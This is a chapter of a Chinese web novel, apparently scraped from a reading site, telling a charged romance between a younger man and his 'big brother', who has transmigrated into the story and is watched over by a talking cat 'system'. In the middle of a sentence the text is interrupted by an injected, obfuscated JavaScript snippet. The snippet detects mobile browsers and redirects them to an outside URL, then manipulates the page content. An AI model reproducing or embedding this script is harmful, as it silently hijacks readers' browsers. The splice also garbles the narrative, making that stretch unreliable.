江峙川早就想这么一点点触摸大哥的手掌、手心、手指、手缝……仔仔细细,像丈量春光,如划定国土,悉数拢在面前,全部纳入口袋。
怎么能有这么让人欲罢不能的手?
骨节寸寸硬硬,掌心却又那么软。
掌心里的纹路也清晰可见,一定藏着和他纠缠一生的预言。
翻过来细看,数条微青的血管潜游在凝白的肌肤下,分明的手筋微微隆起,如天光尽头的山丘,让人忍不住攀爬。就连指尖尽头的指甲,也粉亮可爱,轻轻扣压,甲床下的粉立马退让出许多白来。
此刻,大哥坐在这里。
巨大的玻璃幕墙外是幽绿稠深的密林,前几天刚暖起来的天,今天又冷了起来。寒峭的风穿林而过,林摇枝摆,又幻化出风的模样。
一些本应该在冬天落下的树叶,终于在初春下定决心,离开枝头,飞得越飞越高,越高越远,轻盈得像没有任何重量。
可人啊,一但想得到爱,就很难轻盈,就如他现在。
-
管家到底不敢硬出手,在他的威逼下,只得将大哥交到他手上。
管家千叮咛万嘱咐,说江维岳是外人,是货真价实的黑心鬼,绝对不可信,千万不可再着了他的道。待他出了恶气后,一定要把江维岳丢出去。管家说他会收拾残局,让一切回归正途。
是啊。
是该出口恶气,一口不够,要好多口。
他就不该像现在这样,屈膝蹲着,只敢小心翼翼揉着大哥被他攥红的手指,连抬眼看一下都不敢。
他应该,进门初始,就要把日思夜想的身影困于床榻上,一点点卸下那层遥不可及的伪装。他要让那双总是平静无波的眼睛里,惊起愤怒的风浪,让那张完美的脸庞,因他而染上红晕,失了分寸。
他应该告诉大哥,他曾贴着冰冷的墙壁,听着隔壁水声潺潺,任由思潮化作手破墙伸过去。他曾珍藏过沾染了大哥气息的毛巾,在独处时汲取那一丝虚幻的温暖。他将曾经将所有不敢宣之于口的渴望化作文字,而他和他都是小说主角。
他该逼迫大哥一遍遍用温柔的声音说爱他爱他只爱他,管什么阿良阿恶,过去、现在、未来永远不可能舔到大哥一点爱意。
他该这么做!应该这么做!
-
江维岳盯着面前的青年人。
这人半蹲在他的面前,低垂着头,揉着他泛红的手指,一丝不苟,一言不发,安静得吓人!
还是低估了。
江峙川对他的孜孜渴求,不止因为缺爱,更像是离开水一定会死的鱼,攥死施救者的溺水人,无论如何也要一起沉沦,是不讲道理的无风自燃的野草。
或许两人在庙街第一次相见,这颗偏执的种子已然种下,到现在长成参天大树,不可撼动,更不会轻易倒下。
就如方才,他执意追问,到底喜欢阿良还是他?
而且还在喜欢前面用了一个“只”字,提前限定,不容多选,霸道又强势。
可这人问完又不许他回答,只是一味地攥着他的手指,即便知道把他攥疼了,也不肯放手。
-
橘猫在房间里唉声叹气。
【要艹要杀给个痛快,谁家好人揉别人手指揉两个小时还不腻味啊?!】
【你已经是我遇到的活得最长的宿主。可惜你就要被抹杀了!】
【我的绩效啊!我的假期啊!我的未来不可期啊!】
还没等祂絮叨完,突然一直沉默低头的江峙川仰起脸,眉眼含着浓稠的痛,没过三秒,豆大的眼泪在眼眶里转悠一圈后落了下来。
橘猫:【啊这,他咋还委屈上了?!】
-
江维岳其实一直不知道自己穿书前是怎么死的。他的记忆残缺不全,知道很多人和事,又好像被抽走了更为重要的人和事。
若不是他平时温温吞吞,秉持既来之则安之的处事方法,怕是早都崩溃了。
系统说他马上就要被抹杀了,不知为何,这件事对他来说,好似也能接受。
然而,面前这汪含泪的眼睛幽深极了,就这么直直盯着他,快要把他连头带脚吸进去。江维岳相信即便他马上死去,忘记一切,这双眼睛也会如影随形,追着他尘归尘,黏着他土归土……
他叹了口气,伸出手,指腹刚碰到面前青年的脸颊,对方便狠狠抖了一下,鸦羽般的睫毛紧跟着颤了颤,泪落得更急更快。
江维岳什么也没说,只是用指腹将泪轻轻擦掉。
但,江峙川哭得太汹涌,他的指腹只能浅浅拦一下,余下的泪便在唇角缱倦不落。
指腹不得已往下游走。
面前青年的唇被泪浸润得又红又湿,泛着可怜兮兮的光泽。
就在江维岳再次叹气时,江峙川突然执拗地偏过头来,狠狠咬住了他的指尖……
橘猫慌乱地跳起来,【完了完了!他这是准备把你生吞活剥啊!】
痛意骤然迸发,夹裹着唇齿之间的柔软和湿润,电光石火间,顺着江维岳的指腹窜到身体的每个角落,他如触电般狠狠抖了一下。
近在咫尺的口齿间藏着一抹粉红的舌,它正抵着自己的指腹,在齿尖给予的痛楚中,又赋予指腹无尽的温柔以及痒意。
江维岳紧紧闭上了眼。谁知关闭了视觉,触觉和听觉瞬时被无限放大。
他能感触到对面青年滚烫炙热的口腔正压迫着他的指尖,咬噬的同时,又好似在吮,似乎不满只有指尖,还试图咬得更深,探得更远。除了这些,他甚至还能听到对面青年口腔内发出啵的一声……
这哪里是疯批,分明是口欲期没被满足的小孩啊。
本能的,可爱的,笨笨的,小孩。
-
江峙川原以为被咬的人会缩回,会骂他,会扬起手打他一巴掌,然而大哥纹丝未动,任他啃噬。
江峙川心头大震。
若大哥恶劣些就好了,他可以名正言顺,把大哥定义为坏人,他就能趁势做更恶劣的事。
可大哥安安静静,如往常一样纵着他,惯着他。
江峙川分辨不清这里面究竟藏着蜜还是毒。
还是两者皆有?
他是不是该把大哥吃进去才能辨别真相?
-
橘猫用爪爪捂住眼。
两人头顶的情涩变态值已经亮了三格,第四格在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502881|186039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方才江峙川咬住江维岳指尖的瞬间从鹅黄变为明黄。然而,这一切都无济于事,江峙川此刻明显处在发疯的临界,想必过一会就会把江维岳推到在床,大做特做,发生地不在无人岛,等于把后续play提前,宿主会被抹杀。
【宿主,我给你开个后门吧。别等会遭大罪,还要被抹杀。你现在就闭眼走吧!】
【下辈子千万记得找个伟光正的系统!】
【瞄呜呜呜……】
江维岳:【。】
-
然而,还没等橘猫半场奏哀乐,江峙川松开了嘴。
眼前的手指湿漉漉的,粉红红的,齿印缠裹,像被疾风摧残过的初芽。一时间,他渴望有更多这样的初芽可以任他蹂躏,舔舐,占有……
眼神上移,他发现大哥紧紧闭着眼,表情颇为隐忍。
好似已经躺平任咬,也好似不愿见他发癫。
江峙川瞬时被害怕击中。
他有太多的不甘和不满,可他更害怕大哥收起温柔的面孔,摆出冷绝的恨意,讽刺他可笑的想法,吼斥他变态的做法,狠心戳破那些飘在他心底多年的粉红泡泡。
他想做鸵鸟,钻到沙子里永远不出来,他不敢正视大哥真实的面目……
至少现在不能!
他低下头,轻轻用唇碰触安慰刚才被他咬过的手指,一根不够还要碰触隔壁的,哪怕它们并未被欺负过。
江维岳把手缩回,藏到后背。
江峙川猛一下站起来,脸色难看到了极点。
他是被嫌弃了吗?
他是被讨厌了吗?
大哥是不是正在用衣角擦拭被他碰过的指头?
“痒!”江维岳扬起头,轻轻吐了个字。
江峙川愣住了,方才瞬时积压在他胸口的闷疼和慌乱又瞬时消失了。
你看,这还怎么能活得轻盈啊。
大哥随便一个动作,可以要他的命,大哥随便说出的一个字,也可以救他的命。
他感谢这个字,打破了两人之间持续两个小时的静默禁锢。
他感谢这个字,将他的出格行为变成一件轻描淡写的小事。
他感谢这个字,让他试探到了大哥流淌出来的善意。
他可以踩着这个字,打蛇缠棍,就势再做一些更出格的事……
他居高临下,现在轮到他用指腹正大光明描摹大哥。
-
“痒吗?”
指腹掠过大哥漂亮的眉尾和眼尾。
言语轻飘,好似不经意,当然也不用大哥回答。
“应该不痒的。”他自顾自道。
指腹又挪向大哥红润的耳垂,顺道恶作剧般捏了捏。
“你刚才摸我的脸,我都不痒。”
江峙川的声音有些低哑,还有一抹颤抖。
他的指腹继续往下,越过下颌线,来到大哥的唇畔。
饱满的唇珠天然勾人,江峙川眯着眼,就这么直白白地摩挲着大哥的唇,然后把食指曲起,用第二个指关节撬开唇珠,探进齿间……
“大哥,你也咬下我。”
“使劲咬。”
“看我痛不痛?!”